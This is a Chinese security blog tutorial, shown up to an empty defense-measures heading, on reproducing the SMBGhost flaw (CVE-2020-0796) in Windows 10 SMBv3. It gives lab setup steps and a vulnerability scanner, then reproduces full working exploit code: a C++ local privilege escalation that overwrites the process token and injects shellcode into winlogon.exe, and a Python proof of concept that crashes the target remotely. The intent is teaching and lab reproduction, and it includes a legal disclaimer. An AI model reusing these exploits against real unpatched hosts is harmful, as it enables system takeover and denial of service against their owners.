您可能之前看到过我写的类似文章，为什么还要重复撰写呢？只是想更好地帮助初学者了解病毒逆向分析和系统安全，更加成体系且不破坏之前的系列。因此，我重新开设了这个专栏，准备系统整理和深入学习系统安全、逆向分析和恶意代码检测，“系统安全”系列文章会更加聚焦，更加系统，更加深入，也是作者的慢慢成长史。换专业确实挺难的，逆向分析也是块硬骨头，但我也试试，看看自己未来四年究竟能将它学到什么程度，漫漫长征路，偏向虎山行。享受过程，一起加油~

系统安全系列作者将深入研究恶意样本分析、逆向分析、攻防实战和Windows漏洞利用等，通过在线笔记和实践操作的形式分享与博友们学习，希望能与您一起进步。前文介绍了MS08-067远程代码执行漏洞（CVE-2008-4250），它是Windows Server服务RPC请求缓冲区溢出漏洞，利用445端口。这篇文章将详细讲解SMBv3服务远程代码执行漏洞（CVE-2020-0796），攻击者可能利用此漏洞远程无需用户验证，通过发送构造特殊的恶意数据导致在目标系统上执行恶意代码，从而获取机器的完全控制，利用的端口仍是445。希望对入门的同学有帮助。

话不多说，让我们开始新的征程吧！您的点赞、评论、收藏将是对我最大的支持，感恩安全路上一路前行，如果有写得不好的地方，可以联系我修改。基础性文章，希望对您有所帮助，作者的目的是与安全人共同进步，加油！也强烈推荐大家去看看参考文献的视频和书籍。

文章目录

  • 一.漏洞描述
  • 二.Win10本地提权
    • 1.开启445端口
    • 2.SMBGhost漏洞扫描
    • 3.本地EXP提取
  • 三.虚拟机蓝屏攻击
    • 1.环境搭建
    • 2.攻击实验
  • 四.漏洞原因分析
    • 1.C++代码解析
    • 2.Python代码解析
  • 五.防御措施
  • 六.总结

作者的github资源：

  • 系统安全：https://github.com/eastmountyxz/SystemSecurity-ReverseAnalysis
  • 网络安全：https://github.com/eastmountyxz/NetworkSecuritySelf-study

前文分析：

  • [系统安全] 一.什么是逆向分析、逆向分析基础及经典扫雷游戏逆向
  • [系统安全] 二.如何学好逆向分析及吕布传游戏逆向案例
  • [系统安全] 三.IDA Pro反汇编工具初识及逆向工程解密实战
  • [系统安全] 四.OllyDbg动态分析工具基础用法及Crakeme逆向破解
  • [系统安全] 五.OllyDbg和Cheat Engine工具逆向分析植物大战僵尸游戏
  • [系统安全] 六.逆向分析之条件语句和循环语句源码还原及流程控制
  • [系统安全] 七.逆向分析之PE病毒原理、C++实现文件加解密及OllyDbg逆向
  • [系统安全] 八.Windows漏洞利用之CVE-2019-0708复现及蓝屏攻击
  • [系统安全] 九.Windows漏洞利用之MS08-067远程代码执行漏洞复现及深度提权
  • [系统安全] 十.Windows漏洞利用之SMBv3服务远程代码执行漏洞（CVE-2020-0796）复现

声明：本人坚决反对利用教学方法进行犯罪的行为，一切犯罪行为必将受到严惩，绿色网络需要我们共同维护，更推荐大家了解它们背后的原理，更好地进行防护。

一.漏洞描述

基本描述：
2020年3月11日，某国外安全公司发布了一个近期微软安全补丁包所涉及漏洞的综述，其中谈到了一个威胁等级被标记为Critical的SMB服务远程代码执行漏洞（CVE-2020-0796）。攻击者可能利用此漏洞远程无需用户验证通过发送构造特殊的恶意数据导致在目标系统上执行恶意代码，从而获取机器的完全控制。

微软SMBv3（Server Message Block 3.0）服务远程代码执行漏洞（CVE-2020-0796）可被攻击者利用，实现无须权限即可执行远程代码，受攻击的目标系统只需开机在线即可能被入侵。该漏洞后果十分接近永恒之蓝系列，存在被WannaCry等勒索蠕虫利用的可能，攻击者可以构造特定的网页、压缩包、共享目录、Office文档等多种方式触发漏洞进行攻击，对存在该漏洞的Windows主机造成严重威胁。

目前奇安信息威胁情报中心红雨滴团队已经确认漏洞的存在，利用此漏洞可以稳定地导致系统崩溃，不排除执行任意代码的可能性，由于漏洞无需用户验证的特性，可能导致类似WannaCry攻击那样蠕虫式的传播。2020年3月12日微软发布了相应的安全补丁，强烈建议用户立即安装补丁以免受此漏洞导致的风险。2020年3月14日，已有可导致受影响系统蓝屏崩溃的漏洞利用POC在公开渠道发布，可以稳定地导致系统远程拒绝服务。

3月22日奇安信代码安全团队发布了针对此漏洞的远程无损扫描器，可以帮助网络管理员快速地识别存在此漏洞的系统，欢迎使用。3月30日公开渠道出现利用此漏洞的本地提权利用代码，奇安信验证可用，本地攻击者可以利用漏洞从普通用户权限提升到系统权限。

  • 参考文献： 奇安信威胁情报中心红雨滴团队的分析报告

影响版本：
该漏洞属于远程代码执行漏洞，漏洞主要影响Windows10的系统及应用版本（1903和1909），包括32位、64位的家用版、专业版、企业版、教育版。具体如下：

  • Windows 10 Version 1903 for 32-bit Systems
  • Windows 10 Version 1903 for ARM64-based Systems
  • Windows 10 Version 1903 for x64-based Systems
  • Windows 10 Version 1909 for 32-bit Systems
  • Windows 10 Version 1909 for ARM64-based Systems
  • Windows 10 Version 1909 for x64-based Systems
  • Windows Server, version 1903 (Server Core installation)
  • Windows Server, version 1909 (Server Core installation)

漏洞原理：
在微软SMBv3远程代码执行漏洞中，SMB 3.1.1协议处理压缩消息时，对其中的数据没有经过安全检查，直接使用可能引发内存破坏漏洞，从而被攻击者利用远程执行任意代码。攻击者通过发送特殊构造的数据包触发漏洞，无需用户验证就可能控制目标系统，同时影响服务器与客户端系统。

该漏洞存在于Windows的SMBv3.0（文件共享与打印服务）中，利用的端口是445。 当SMBv3.0处理恶意制作的压缩数据包时，由于SMB没有正确处理压缩的数据包，在解压数据包的时候使用客户端传过来的长度进行解压，并没有检查长度是否合法，最终导致整数溢出。远程未经认证的攻击者就可能利用此漏洞在应用程序的上下文中执行任意代码，系统受到非授权控制。

漏洞利用：

  • 本地EXP提权：https://github.com/danigargu/CVE-2020-0796
  • SMB扫描工具：https://github.com/ollypwn/SMBGhost
  • POC蓝屏攻击： https://github.com/eerykitty/CVE-2020-0796-PoC
  • Python POC版本：https://github.com/ZecOps/CVE-2020-0796-LPE-POC
  • 漏洞检测工具：https://github.com/joaozietolie/CVE-2020-0796-Checker
  • 作者收集工具：https://github.com/eastmountyxz/CVE-2020-0796-SMB

二.Win10本地提权

第一个实验是利用CVE-2020-0796漏洞进行本地提取，攻击者利用该漏洞从普通用户权限提升到系统权限。实验代码采用C++实现，主要执行EXE程序。
参考代码：https://github.com/danigargu/CVE-2020-0796

1.开启445端口

首先需要开启445端口。该端口和135、137、138、139、3389都是常见的高危端口，大家需要注意防御。作为安全初学者，如果指定端口都未开启或关闭，谈何后续的实验及防御呢？由于作者被该端口困扰了一段时间，所以简单分享一些基础知识，大佬勿喷~

第一步，Windows查看某个端口是否开启。

  • telnet 127.0.0.1 455
    显示连接失败

  • netstat -ano -p tcp | find “445” >nul 2>nul && echo 445端口已开启 || echo 445未开启
    445端口显示未开启，而3389端口显示已开启

  • netstat -ano
    未显示TCP开启445端口

第二步，高级安全入站规则设置445端口允许。
点击“防火墙”->“高级设置”。

设置“入站规则”->“新建规则”->“端口”设置。

设置TCP特定端口445，允许连接和应用所有规则。

设置成功之后如下图所示，在测试445端口是否成功。此时仍然可能显示未开启。

第三步，注册表中新建SMBDeviceEnabled选项。
在注册表中查看如下路径，发现没有SMBDeviceEnabled选项。

计算机\HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\NetBT\Parameters

在右边空白处右击新建“QWORD（32位）值”，然后重命名为“SMBDeviceEnabled”。

再把这个子键的值改为1。但是作者的445端口仍然显示未开启，哎，自己真是菜得抠脚~

第四步，启用文件和打印机共享，开启Server服务。
最终原因是Server服务未开启。Server支持计算机通过网络的文件、打印、和命名管道共享。如果服务停止，这些功能不可用。如果服务被禁用，任何直接依赖于此服务的服务将无法启动。

“网络和共享中心”->“高级共享设置”。

在运行中输入“services.msc”打开服务，开启Server。

Server开启后终于成功打开445端口。

重启计算机显示445开启。

注意：实验完成之后建议关闭445端口，或立刻打补丁。

2.SMBGhost漏洞扫描

接着我们尝试用 “https://github.com/ollypwn/SMBGhost” 代码扫描是否存在该漏洞，Win10注意关闭防火墙。运行结果如下图所示，表示存在CVE-2020-0796漏洞。

  • python scanner.py 192.168.0.105
  • pip install netaddr 安装扩展包

扫描程序仅用于测试服务器是否易受攻击，它通过协商请求检查SMBv3.1.1协议和压缩功能，源代码如下所示。该漏洞主要是由于SMBv3协议在处理恶意的压缩数据包时出错所造成的，它可让远程且未经身份验证的攻击者在目标系统上执行任意代码。

scanner.py

import socket
import struct
import sys
from netaddr import IPNetworkpkt = b'\x00\x00\x00\xc0\xfeSMB@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00$\x00\x08\x00\x01\x00\x00\x00\x7f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00x\x00\x00\x00\x02\x00\x00\x00\x02\x02\x10\x02"\x02$\x02\x00\x03\x02\x03\x10\x03\x11\x03\x00\x00\x00\x00\x01\x00&\x00\x00\x00\x00\x00\x01\x00 \x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x03\x00\n\x00\x00\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00'subnet = sys.argv[1]#subnet = '192.168.44.141'for ip in IPNetwork(subnet):sock = socket.socket(socket.AF_INET)sock.settimeout(3)try:sock.connect(( str(ip),  445 ))except:sock.close()continuesock.send(pkt)nb, = struct.unpack(">I", sock.recv(4))res = sock.recv(nb)if res[68:70] != b"\x11\x03" or res[70:72] != b"\x02\x00":#print(f"{ip} Not vulnerable.")print("%s Not vulnerable." % ip)else:#print(f"{ip} vulnerable")print("%s Vulnerable" % ip)

3.本地EXP提取

第一步，运行C++代码（sln程序），生成如下图所示exe程序。

  • cve-2020-0796-local.exe

第二步，在运行中输入“winver”命令检查Windows版本，必须是Win10 1903或1909。

显示如下图所示，作者的未1909。

第三步，用管理员权限运行CMD（命令提示符），输入“whoami”。

  • 输出结果为普通用户权限：desktop-k…86\xxxxxx

第四步，用管理员打开PowerShell，运行exe程序提权。
按下组合键Windows+R以打开运行窗口，输入powershell会以当前用户的权限去执行。

如果你想要从普通模式转至管理员模式，输入以下PowerShell命令然后按下回车键。

  • Start-Process powershell -Verb runAs

输入如下命令运行EXE程序。

  • D:
  • cd D:\SMBGhost-master\CVE-2020-0796-master\cve-2020-0796-local\x64\Debug
  • .\cv 按TAB键自动补齐 .\cve-2020-0796-local.exe
  • 成功运行程序

第五步，此时EXE成功运行并利用SMB漏洞。在CMD中输入“whoami”命令，可以看到普通用户权限提升至管理员权限。

  • 普通权限：desktop-k…86\xxxxxx
  • 管理员权限：nt authority\system

系统管理员帐户：许多服务和Windows进程需要在内部登录 （例如在Windows安装过程中），系统帐户就是为该目的设计的。它是内部帐户，不显示在用户管理器，也无法添加到任何组，并且不能分配用户权限。默认情况下，系统帐户授予完全控制NTFS卷上的所有文件。在此系统帐户具有作为管理员帐户相同的功能权限。
普通管理员账户：不能够在系统内部登录。对于文件系统，管理员账户和SYSEM账户具有相同的权限。但是对于一些服务和进程，我们需要使用系统账户而非管理员账户，因为这些服务和进程要和系统交互，需要内部登录。

在执行计划任务时，如果我们使用NT AUTHORITY\SYSTEM账户，那么是不需要输入密码的。但是使用管理员账户，我们必须输入密码。一般使用系统账户是为了防止管理员改变密码后任务无法执行。对于一般的操作，可以使用任何一个账户但还是建议您使用管理员或者普通用户执行。如果和进程或者服务有关的话，您可以使用系统账户。

Process Explorer打开的提权进程如下图所示：

自此，本地提权实验成功，实验结束建议关闭445端口或完善补丁，切记。C++代码及原理将在文章的第四部分详细讲解。

三.虚拟机蓝屏攻击

1.环境搭建

  • 受害机：Windows 10 1903 64位专业版
  • 攻击机：Kali系统

第一步，在虚拟机中安装Windows 10系统和Kali系统。

  • https://msdn.itellyou.cn/

运行中输入“winver”查看版本信息为1903。

第二步，虚拟机两个系统之间能够相互通信。

  • Kali：192.168.44.138
  • Win XP：192.168.44.140

第三步，打开Windows 10系统，确定445端口开启。如下图所示，在CMD中输入“netstat -ano”查看端口445是否打开。开启方法前面已详细讲解。

第四步，关闭Windows系统的防火墙。

注意，某些情况系统已打过补丁，还需要删除补丁KB4551762才能成功实验。作者也存在一个疑问，采用Win10 32位 1903版本蓝屏攻击总失败，Why？

删除后重启计算机即可。

2.攻击实验

第一步，采用scanner.py或bash文件扫描该漏洞。这里采用另一种方法，参考资源：https://github.com/joaozietolie/CVE-2020-0796-Checker

  • 上传文件至Kali系统，作者采用文件共享
  • chmod +x CVE-2020-0796-Checker.sh
  • bash CVE-2020-0796-Checker.sh -t 192.168.44.140

CVE-2020-0796-Checker.sh

#!/bin/bash
NC='\033[0m'
RED='\033[0;31m'
GREEN='\033[0;32m'
#Code by João Zietolie :)while getopts "t:" OPTION; docase "${OPTION}" int) target="${OPTARG}";;esac
doneif [[ "$target" > "0" ]]; then echo "Checking for SMB v3.11 in $target ..."result=$(nmap -p445 --script smb-protocols -Pn -n $target  | grep -o 3.11) if [[ "$result" == '3.11' ]]; thenecho -e "$target - ${RED}FOUND 3.11 VERSION - POSSIBLY VULNERABLE TO CVE-2020-0796" ${NC}elseecho -e "$target - ${GREEN}There is no SMB v3.11 - possibly not vulnerable (Port 445 can be filtered or closed)"  ${NC}fi
elseecho -e "${RED}USAGE: bash CVE-2020-0796-Checker.sh -t IP${NC}"
fi

第二步，从github下载POC蓝屏攻击代码至Kali系统。

  • https://github.com/eerykitty/CVE-2020-0796-PoC
  • 命令：git clone https://github.com/eerykitty/CVE-2020-0796-PoC.git

第三步，安装扩展包并实现POC蓝屏攻击。

  • pip install ntlm_auth
  • python CVE-2020-0796.py 192.168.44.140

此时，Win10系统蓝屏重启，如下图所示。作者又有一个疑问，如何获取Shell而不蓝屏呢？

四.漏洞原因分析

根据安全研究人员分析，该漏洞是一个整数溢出，发生在SMB服务驱动srv2.sys的Srv2DecompressData函数中。经过研究，研究人员成功证明了CVE-2020-0796漏洞可以被用于本地权限提升。不过需要注意的是，由于API的依赖问题，这个exploit被限制于中等完整性级别（integrity level）。

漏洞成因推荐如下文章：

  • 安全人员发布利用CVE-2020-0796实现提权限的PoC - NOSEC
  • CVE-2020-0796 Windows SMBv3 LPE Exploit POC 分析 - 晓得哥
  • Exploiting SMBGhost (CVE-2020-0796) for a Local Privilege Escalation: Writeup + POC
  • CVE-2020-0796本地利用简析 - goabout2

1.C++代码解析

exploit.cpp

/** CVE-2020-0796 LPE* * Daniel Garcia Gutierrez (@danigargu) - danigargu[at]gmail.com* Manuel Blanco Parajon (@dialluvioso) - dialluvioso[at]protonmail.com* Date: 03/29/2020***/#include <stdio.h>
#include <stdint.h>
#include <winsock2.h>
#include <ws2tcpip.h>
#include <windows.h>
#include <TlHelp32.h>
#include "ntos.h"#pragma comment(lib, "ws2_32.lib")ULONG64 get_handle_addr(HANDLE h) {ULONG len = 20;NTSTATUS status = (NTSTATUS)0xc0000004;PSYSTEM_HANDLE_INFORMATION_EX pHandleInfo = NULL;do {len *= 2;pHandleInfo = (PSYSTEM_HANDLE_INFORMATION_EX)GlobalAlloc(GMEM_ZEROINIT, len);status = NtQuerySystemInformation(SystemExtendedHandleInformation, pHandleInfo, len, &len);} while (status == (NTSTATUS)0xc0000004);if (status != (NTSTATUS)0x0) {printf("NtQuerySystemInformation() failed with error: %#x\n", status);return 1;}DWORD mypid = GetProcessId(GetCurrentProcess());ULONG64 ptrs[1000] = { 0 };for (int i = 0; i < pHandleInfo->NumberOfHandles; i++) {PVOID object = pHandleInfo->Handles[i].Object;ULONG_PTR handle = pHandleInfo->Handles[i].HandleValue;DWORD pid = (DWORD)pHandleInfo->Handles[i].UniqueProcessId;if (pid != mypid)continue;if (handle == (ULONG_PTR)h)return (ULONG64)object;}return -1;
}ULONG64 get_process_token() {HANDLE token;HANDLE proc = OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, GetCurrentProcessId());if (proc == INVALID_HANDLE_VALUE)return 0;OpenProcessToken(proc, TOKEN_ADJUST_PRIVILEGES, &token);ULONG64 ktoken = get_handle_addr(token);return ktoken;
}int error_exit(SOCKET sock, const char* msg) {int err;if (msg != NULL) {printf("%s failed with error: %d\n", msg, WSAGetLastError());}if ((err = closesocket(sock)) == SOCKET_ERROR) {printf("closesocket() failed with error: %d\n", WSAGetLastError());}WSACleanup();return EXIT_FAILURE;
}int send_negotiation(SOCKET sock) {int err = 0;char response[8] = { 0 };const uint8_t buf[] = {/* NetBIOS Wrapper */0x00,                   /* session */0x00, 0x00, 0xC4,       /* length *//* SMB Header */0xFE, 0x53, 0x4D, 0x42, /* protocol id */0x40, 0x00,             /* structure size, must be 0x40 */0x00, 0x00,             /* credit charge */0x00, 0x00,             /* channel sequence */0x00, 0x00,             /* channel reserved */0x00, 0x00,             /* command */0x00, 0x00,             /* credits requested */0x00, 0x00, 0x00, 0x00, /* flags */0x00, 0x00, 0x00, 0x00, /* chain offset */0x00, 0x00, 0x00, 0x00, /* message id */0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, /* reserved */0x00, 0x00, 0x00, 0x00, /* tree id */0x00, 0x00, 0x00, 0x00, /* session id */0x00, 0x00, 0x00, 0x00,0x00, 0x00, 0x00, 0x00, /* signature */0x00, 0x00, 0x00, 0x00,0x00, 0x00, 0x00, 0x00,0x00, 0x00, 0x00, 0x00,/* SMB Negotiation Request */0x24, 0x00,             /* structure size */0x08, 0x00,             /* dialect count, 8 */0x00, 0x00,             /* security mode */0x00, 0x00,             /* reserved */0x7F, 0x00, 0x00, 0x00, /* capabilities */0x01, 0x02, 0xAB, 0xCD, /* guid */0x01, 0x02, 0xAB, 0xCD,0x01, 0x02, 0xAB, 0xCD,0x01, 0x02, 0xAB, 0xCD,0x78, 0x00,             /* negotiate context */0x00, 0x00,             /* additional padding */0x02, 0x00,             /* negotiate context count */0x00, 0x00,             /* reserved 2 */0x02, 0x02,             /* dialects, SMB 2.0.2 */0x10, 0x02,             /* SMB 2.1 */0x22, 0x02,             /* SMB 2.2.2 */0x24, 0x02,             /* SMB 2.2.3 */0x00, 0x03,             /* SMB 3.0 */0x02, 0x03,             /* SMB 3.0.2 */0x10, 0x03,             /* SMB 3.0.1 */0x11, 0x03,             /* SMB 3.1.1 */0x00, 0x00, 0x00, 0x00, /* padding *//* Preauth context */0x01, 0x00,             /* type */0x26, 0x00,             /* length */0x00, 0x00, 0x00, 0x00, /* reserved */0x01, 0x00,             /* hash algorithm count */0x20, 0x00,             /* salt length */0x01, 0x00,             /* hash algorith, SHA512 */0x00, 0x00, 0x00, 0x00, /* salt */0x00, 0x00, 0x00, 0x00,0x00, 0x00, 0x00, 0x00,0x00, 0x00, 0x00, 0x00,0x00, 0x00, 0x00, 0x00,0x00, 0x00, 0x00, 0x00,0x00, 0x00, 0x00, 0x00,0x00, 0x00, 0x00, 0x00,0x00, 0x00,             /* pad *//* Compression context */0x03, 0x00,             /* type */0x0E, 0x00,             /* length */0x00, 0x00, 0x00, 0x00, /* reserved */0x02, 0x00,             /* compression algorithm count */0x00, 0x00,             /* padding */0x01, 0x00, 0x00, 0x00, /* flags */0x02, 0x00,             /* LZ77 */0x03, 0x00,             /* LZ77+Huffman */0x00, 0x00, 0x00, 0x00, /* padding */0x00, 0x00, 0x00, 0x00};if ((err = send(sock, (const char *)buf, sizeof(buf), 0)) != SOCKET_ERROR) {recv(sock, response, sizeof(response), 0); }return err;
}int send_compressed(SOCKET sock, unsigned char* buffer, ULONG len) {int err = 0;char response[8] = { 0 };const uint8_t buf[] = {/* NetBIOS Wrapper */0x00,0x00, 0x00, 0x33,/* SMB Header */0xFC, 0x53, 0x4D, 0x42, /* protocol id */0xFF, 0xFF, 0xFF, 0xFF, /* original decompressed size, trigger arithmetic overflow */0x02, 0x00,             /* compression algorithm, LZ77 */0x00, 0x00,             /* flags */0x10, 0x00, 0x00, 0x00, /* offset */};uint8_t* packet = (uint8_t*) malloc(sizeof(buf) + 0x10 + len);if (packet == NULL) {printf("Couldn't allocate memory with malloc()\n");return error_exit(sock, NULL);}memcpy(packet, buf, sizeof(buf));*(uint64_t*)(packet + sizeof(buf)) = 0x1FF2FFFFBC;*(uint64_t*)(packet + sizeof(buf) + 0x8) = 0x1FF2FFFFBC;memcpy(packet + sizeof(buf) + 0x10, buffer, len);if ((err = send(sock, (const char*)packet, sizeof(buf) + 0x10 + len, 0)) != SOCKET_ERROR) {recv(sock, response, sizeof(response), 0);}free(packet);return err;
}void inject(void) {PROCESSENTRY32 entry;entry.dwSize = sizeof(PROCESSENTRY32);uint8_t shellcode[] = {0x50, 0x51, 0x52, 0x53, 0x56, 0x57, 0x55, 0x6A, 0x60, 0x5A, 0x68, 0x63, 0x6D, 0x64, 0x00, 0x54,0x59, 0x48, 0x83, 0xEC, 0x28, 0x65, 0x48, 0x8B, 0x32, 0x48, 0x8B, 0x76, 0x18, 0x48, 0x8B, 0x76,0x10, 0x48, 0xAD, 0x48, 0x8B, 0x30, 0x48, 0x8B, 0x7E, 0x30, 0x03, 0x57, 0x3C, 0x8B, 0x5C, 0x17,0x28, 0x8B, 0x74, 0x1F, 0x20, 0x48, 0x01, 0xFE, 0x8B, 0x54, 0x1F, 0x24, 0x0F, 0xB7, 0x2C, 0x17,0x8D, 0x52, 0x02, 0xAD, 0x81, 0x3C, 0x07, 0x57, 0x69, 0x6E, 0x45, 0x75, 0xEF, 0x8B, 0x74, 0x1F,0x1C, 0x48, 0x01, 0xFE, 0x8B, 0x34, 0xAE, 0x48, 0x01, 0xF7, 0x99,0xff, 0xc2, // inc edx (1 = SW_SHOW)0xFF, 0xD7, 0x48, 0x83, 0xC4,0x30, 0x5D, 0x5F, 0x5E, 0x5B, 0x5A, 0x59, 0x58, 0xC3, 0x00};HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, NULL);int pid = -1;if (Process32First(snapshot, &entry) == TRUE) {while (Process32Next(snapshot, &entry) == TRUE) {if (lstrcmpiA(entry.szExeFile, "winlogon.exe") == 0) {pid = entry.th32ProcessID;break;}}}CloseHandle(snapshot);if (pid < 0) {printf("Could not find process\n");return;}printf("Injecting shellcode in winlogon...\n");HANDLE hProc = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);if (hProc == NULL) {printf("Could not open process\n");return;}LPVOID lpMem = VirtualAllocEx(hProc, NULL, 0x1000, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);if (lpMem == NULL) {printf("Remote allocation failed\n");return;}     if (!WriteProcessMemory(hProc, lpMem, shellcode, sizeof(shellcode), 0)) {printf("Remote write failed\n");return;} if (!CreateRemoteThread(hProc, NULL, 0, (LPTHREAD_START_ROUTINE)lpMem, 0, 0, 0)) {printf("CreateRemoteThread failed\n");return;}printf("Success! ;)\n");
}int main(int argc, char* argv[]) {WORD wVersionRequested = MAKEWORD(2, 2);WSADATA wsaData = { 0 };SOCKET sock = INVALID_SOCKET;uint64_t ktoken = 0;int err = 0;printf("-= CVE-2020-0796 LPE =-\n");printf("by @danigargu and @dialluvioso_\n\n");if ((err = WSAStartup(wVersionRequested, &wsaData)) != 0) {printf("WSAStartup() failed with error: %d\n", err);return EXIT_FAILURE;}if (LOBYTE(wsaData.wVersion) != 2 || HIBYTE(wsaData.wVersion) != 2) {printf("Couldn't find a usable version of Winsock.dll\n");WSACleanup();return EXIT_FAILURE;}sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);if (sock == INVALID_SOCKET) {printf("socket() failed with error: %d\n", WSAGetLastError());WSACleanup();return EXIT_FAILURE;}sockaddr_in client;client.sin_family = AF_INET;client.sin_port = htons(445);InetPton(AF_INET, "127.0.0.1", &client.sin_addr);if (connect(sock, (sockaddr*)& client, sizeof(client)) == SOCKET_ERROR) {return error_exit(sock, "connect()");}printf("Successfully connected socket descriptor: %d\n", (int)sock);printf("Sending SMB negotiation request...\n");if (send_negotiation(sock) == SOCKET_ERROR) {printf("Couldn't finish SMB negotiation\n");return error_exit(sock, "send()");}printf("Finished SMB negotiation\n");ULONG buffer_size = 0x1110;UCHAR *buffer = (UCHAR *)malloc(buffer_size);if (buffer == NULL) {printf("Couldn't allocate memory with malloc()\n");return error_exit(sock, NULL);}ktoken = get_process_token();if (ktoken == -1) {printf("Couldn't leak ktoken of current process...\n");return EXIT_FAILURE;}printf("Found kernel token at %#llx\n", ktoken);memset(buffer, 'A', 0x1108);*(uint64_t*)(buffer + 0x1108) = ktoken + 0x40; /* where we want to write */ULONG CompressBufferWorkSpaceSize = 0;ULONG CompressFragmentWorkSpaceSize = 0;err = RtlGetCompressionWorkSpaceSize(COMPRESSION_FORMAT_XPRESS, &CompressBufferWorkSpaceSize, &CompressFragmentWorkSpaceSize);if (err != STATUS_SUCCESS) {printf("RtlGetCompressionWorkSpaceSize() failed with error: %d\n", err);return error_exit(sock, NULL);}ULONG FinalCompressedSize;UCHAR compressed_buffer[64];LPVOID lpWorkSpace = malloc(CompressBufferWorkSpaceSize);if (lpWorkSpace == NULL) {printf("Couldn't allocate memory with malloc()\n");return error_exit(sock, NULL);}err = RtlCompressBuffer(COMPRESSION_FORMAT_XPRESS, buffer, buffer_size,compressed_buffer, sizeof(compressed_buffer), 4096, &FinalCompressedSize, lpWorkSpace);if (err != STATUS_SUCCESS) {printf("RtlCompressBuffer() failed with error: %#x\n", err);free(lpWorkSpace);return error_exit(sock, NULL);}printf("Sending compressed buffer...\n");if (send_compressed(sock, compressed_buffer, FinalCompressedSize) == SOCKET_ERROR) {return error_exit(sock, "send()");}printf("SEP_TOKEN_PRIVILEGES changed\n");inject();WSACleanup();return EXIT_SUCCESS;
}

2.Python代码解析

CVE-2020-0796-POC.py

import socket, struct, sysclass Smb2Header:def __init__(self, command, message_id):self.protocol_id = "\xfeSMB"self.structure_size = "\x40\x00"  # Must be set to 0x40self.credit_charge = "\x00"*2self.channel_sequence = "\x00"*2self.channel_reserved = "\x00"*2self.command = commandself.credits_requested = "\x00"*2  # Number of credits requested / grantedself.flags = "\x00"*4self.chain_offset = "\x00"*4  # Points to next messageself.message_id = message_idself.reserved = "\x00"*4self.tree_id = "\x00"*4  # Changes for some commandsself.session_id = "\x00"*8self.signature = "\x00"*16def get_packet(self):return self.protocol_id + self.structure_size + self.credit_charge + self.channel_sequence + self.channel_reserved + self.command + self.credits_requested + self.flags + self.chain_offset + self.message_id + self.reserved + self.tree_id + self.session_id + self.signatureclass Smb2NegotiateRequest:def __init__(self):self.header = Smb2Header("\x00"*2, "\x00"*8)self.structure_size = "\x24\x00"self.dialect_count = "\x08\x00"  # 8 dialectsself.security_mode = "\x00"*2self.reserved = "\x00"*2self.capabilities = "\x7f\x00\x00\x00"self.guid = "\x01\x02\xab\xcd"*4self.negotiate_context = "\x78\x00"self.additional_padding = "\x00"*2self.negotiate_context_count = "\x02\x00"  # 2 Contextsself.reserved_2 = "\x00"*2self.dialects = "\x02\x02" + "\x10\x02" + "\x22\x02" + "\x24\x02" + "\x00\x03" + "\x02\x03" + "\x10\x03" + "\x11\x03"  # SMB 2.0.2, 2.1, 2.2.2, 2.2.3, 3.0, 3.0.2, 3.1.0, 3.1.1self.padding = "\x00"*4def context(self, type, length):data_length = lengthreserved = "\x00"*4return type + data_length + reserveddef preauth_context(self):hash_algorithm_count = "\x01\x00"  # 1 hash algorithmsalt_length = "\x20\x00"hash_algorithm = "\x01\x00"  # SHA512salt = "\x00"*32pad = "\x00"*2length = "\x26\x00"context_header = self.context("\x01\x00", length)return context_header + hash_algorithm_count + salt_length + hash_algorithm + salt + paddef compression_context(self):compression_algorithm_count = "\x03\x00"  # 3 Compression algorithmspadding = "\x00"*2flags = "\x01\x00\x00\x00"algorithms = "\x01\x00" + "\x02\x00" + "\x03\x00"  # LZNT1 + LZ77 + LZ77+Huffmanlength = "\x0e\x00"context_header = self.context("\x03\x00", length)return context_header + compression_algorithm_count + padding + flags + algorithmsdef get_packet(self):padding = "\x00"*8return self.header.get_packet() + self.structure_size + self.dialect_count + self.security_mode + self.reserved + self.capabilities + self.guid + self.negotiate_context + self.additional_padding + self.negotiate_context_count + self.reserved_2 + self.dialects + self.padding + self.preauth_context() + self.compression_context() + paddingclass NetBIOSWrapper:def __init__(self, data):self.session = "\x00"self.length = struct.pack('>i', len(data)).decode('latin1')[1:]self.data = datadef get_packet(self):return self.session + self.length + self.dataclass Smb2CompressedTransformHeader:def __init__(self, data):self.data = dataself.protocol_id = "\xfcSMB"self.original_decompressed_size = struct.pack('<i', len(self.data)).decode('latin1')self.compression_algorithm = "\x01\x00"self.flags = "\x00"*2self.offset = "\xff\xff\xff\xff"  # Exploit the vulnerabilitydef get_packet(self):return self.protocol_id + self.original_decompressed_size + self.compression_algorithm + self.flags + self.offset + self.datadef send_negotiation(sock):negotiate = Smb2NegotiateRequest()packet = NetBIOSWrapper(negotiate.get_packet()).get_packet()sock.send(packet.encode('latin1'))sock.recv(3000)def send_compressed(sock, data):compressed = Smb2CompressedTransformHeader(data)packet = NetBIOSWrapper(compressed.get_packet()).get_packet()sock.send(packet.encode('latin1'))#sock.recv(1000)if __name__ == "__main__":if len(sys.argv) != 2:exit("[-] Supply an IP: {} IP_ADDR".format(sys.argv[0]))sock = socket.socket(socket.AF_INET)sock.settimeout(3)sock.connect((sys.argv[1], 445))send_negotiation(sock)send_compressed(sock, "A" * 50)

五.防御措施

